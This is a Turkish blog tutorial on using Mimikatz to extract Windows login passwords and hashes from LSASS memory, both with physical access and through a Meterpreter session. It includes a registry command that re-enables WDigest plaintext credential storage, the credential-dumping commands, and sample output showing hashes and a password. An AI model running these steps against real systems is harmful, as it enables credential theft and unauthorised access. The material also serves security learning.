Merhaba, bugünkü yazımda Mimikatz isimli tool ile Windows sistemlerde kullanıcı parolalarını elde etmekten bahsedeceğim. DİKKAT: Mimikatz'ı kullanabilmek için yönetici haklarına sahip olmanız gerekmektedir.
Kendisini anlatmadan önce Windows sistemler hakkında birkaç bilgi vermeliyim. Hadi başlayalım...
Windows Sistemlerde Parolaların Saklanması
Windows sistemlerde, tahmin edeceğiniz gibi parolalar text olarak (açık halde) tutulmuyor, şifrelenerek kaydediliyor. Oturum açma sırasında, kullanıcı adı ve parola kontrolünü System32 dizini altında bulunan LSASS.exe (Local Security Authority Subsystem Service) üstleniyor. Kontrol sırasında, kullanıcıdan alınan veriler SAM (Security Account Manager) ve LDAP (Lightweight Directory Access Protocol) dosyasındaki veriler ile karşılaştırılıyor. Eğer veriler eşleşir ise, kullanıcı sisteme dahil edilirken aynı zamanda kullanıcıya ait parola bilgisi de (NTLM Hash ve şifrelenmiş parola) hafızada saklanır.
Eğer hafızadaki o veri ele geçirilip başka bir LSASS oturumuna enjekte edilirse kimlik doğrulama aşaması atlatılarak sisteme giriş yapılabilir.
Önemli Bir Nokta
Belirtmekte fayda gördüğüm bir nokta var. Mimikatz Windows 8.1 ve üstü sürümlerde bu zaafiyet direkt olarak sömürülemiyor. Birkaç önlem alınmış. Ancak tabiki atlatılabilir bir önlem.
Eğer Windows 8.1 sonrası bir sürümü kullanıyorsanız ya da KB2871997 güncellemesini yüklediyseniz, aşağıdaki aşamalara geçmeden önce yönetici olarak Windows Shell'de şu komutu çalıştırmalısınız. Çünkü “UseLogonCredential” DWORD değeri regeditte gözükmez.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
Bu adım da Wimdows 8.1 ve üstü sürümleri kullananlar için geçerli. Oturumu kapatıp açmanız gerekiyor. İşin ironik kısmı burası. Bizim amacımız parolayı elde etmek iken, bunu nasıl yapacağız. Açıkçası yapılması gereken şey, oturumun tekrar açılmasını sağlayarak Mimikatz'ın parolaya ulaşabilmesini sağlamak. Burada yapılması gerekeni sizlere bırakıyorum.
Şimdi asıl işimize dönebiliriz.
Mimikatz'ın Fiziksel Saldırılarda kullanımı
Burada, bilgisayara fiziksel erişiminizin olduğunu düşünüyoruz. İlk yapmanız gereken Mimikatz'ı indirmek. Şu linkten zip dosyasını indirerek exe dosyasına ulaşabilirsiniz.
İndirdikten sonra programı açıyoruz ve Mimikatz bizi komut satırında karşılıyor. Hiç beklemeden ilk komutumuzu "privilege::debug" çalıştıralım
Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:>cd x64 C:x64>mimikatz.exe mimikatz 1.0 x64 (RC) Traitement du Kiwi (Jan 23 2013 00:14:12) http://blog.gentilkiwi.com/mimikatz
mimikatz# privilege::debug Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK
Ardından, bilgileri elde etmek için "sekurlsa::logonPasswords" komutumuzu çalıştırıyoruz. (Buradaki kodların bir kısmı Celal Erdik'in BGA'daki yazısından alınmıştır. Verdiği bilgilerden ötürü teşekkür ederim.)
mimikatz# sekurlsa::logonPasswords full
Authentification Id : 0;431139 Package d’authentification : NTLM Utilisateur principal : F. Celal ERDIK Domaine d’authentification : fcerdix msv1_0
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Hash LM : d1face09e47d03f8aad3b435b51404ee
- Hash NTLM : 7d029e287d0e7372ce126253b626f537 kerberos
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam ssp wdigest
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam tspkg
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam
Yukarıda görmüş olduğunuz üzere parola "BenimGizliParolam"dır.
Mimikatz'ın Uzaktan Kullanımı
Benim anlatacağım uzaktan erişimde, herhangi bir şekilde hedefte meterpreter oturumu elde edilmiş olmalıdır. Eğer bunu nasıl yapacağınızı bilmiyorsanız şu an sadece mantığını anlamaya çalışmanızı tavsiye ederim.
Meterpreter oturumumuzda ilk önce "getsystem" yazarak sistem derecesinde yetki elde edelim. Bunu kontrol etmek için de "getuid" komutu kullanılabilir. Eğer "getuid" komutunun çıktısında "AUTHORTY\SYSTEM" ifadesini görürseniz, diğer işlemlere devam edebilirsiniz.
Şimdi "load mimikatz" diyerek Mimikatz'ı yükleyelim.
meterpreter > load mimikatz Loading extension mimikatz...success.
Başarılı bir şekilde yüklememizi gerçekleştirdik. "help mimikatz" ile, mimikatz komutları hakkında bilgi alabilirsiniz.
meterpreter > help mimikatz
Mimikatz Commands
Command Description
kerberos Attempt to retrieve kerberos creds livessp Attempt to retrieve livessp creds mimikatz_command Run a custom commannd msv Attempt to retrieve msv creds (hashes) ssp Attempt to retrieve ssp creds tspkg Attempt to retrieve tspkg creds wdigest Attempt to retrieve wdigest creds
Mimikatz sadece bunlardan ibaret değil. İçerisinde birçok modül de vardır. Modüllere bakmanın herhangi bir "normal" şekli var mı bilmiyorum ancak yanlış bir modül ismi girerek modüllere ulaşabilirsiniz.
meterpreter > mimikatz_command -f FAATIIHH:: Module : 'FAATIIHH' introuvable
Modules disponibles :
- Standard crypto - Cryptographie et certificats hash - Hash system - Gestion système process - Manipulation des processus thread - Manipulation des threads service - Manipulation des services privilege - Manipulation des privilèges handle - Manipulation des handles impersonate - Manipulation tokens d'accès winmine - Manipulation du démineur minesweeper - Manipulation du démineur 7 nogpo - Anti-gpo et patchs divers samdump - Dump de SAM inject - Injecteur de librairies ts - Terminal Server divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module sekurlsa - Dump des sessions courantes par providers LSASS efs - Manipulations EFS
Parolayı elde etmek için
meterpreter> mimikatz_command -f sekurlsa::logonPasswords -a "full"
komutunu kullanarak, fiziksel sistemdeki gibi bir çıktı ile parolayı elde edebilirsiniz.
Authentification Id : 0;431139 Package d’authentification : NTLM Utilisateur principal : F. Celal ERDIK Domaine d’authentification : fcerdix msv1_0
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Hash LM : d1face09e47d03f8aad3b435b51404ee
- Hash NTLM : 7d029e287d0e7372ce126253b626f537 kerberos
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam ssp wdigest
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam tspkg
- Utilisateur : F. Celal ERDIK
- Domaine : fcerdix
- Mot de passe : BenimGizliParolam
Bonus
Mimikatz'ın, parolayı elde etmek için hafızadaki verileri kullandığını belirtmiştik. Aynı şekilde mayın tarlası oyunun içeriği de hafızada güncel olarak saklanır. Eğer mayın tarlası oyununu başlatıp, Mimikatz'da şu
mimikatz_command –f winmine::infos
komutu çalıştırırsanız bombaların yerini görebilirsiniz. Bu şekilde de oyunu rahatlıkla bitirirsiniz :)
Fatih Furkan Hatipoğlu
Bana bu kadar bilgi yetmez, daha fazlasını istiyorum diyenler için birkaç tavsiye kaynak:
BGA - Mimikatz ile Windows Sistemlerde Parolaları Açık Olarak Okuma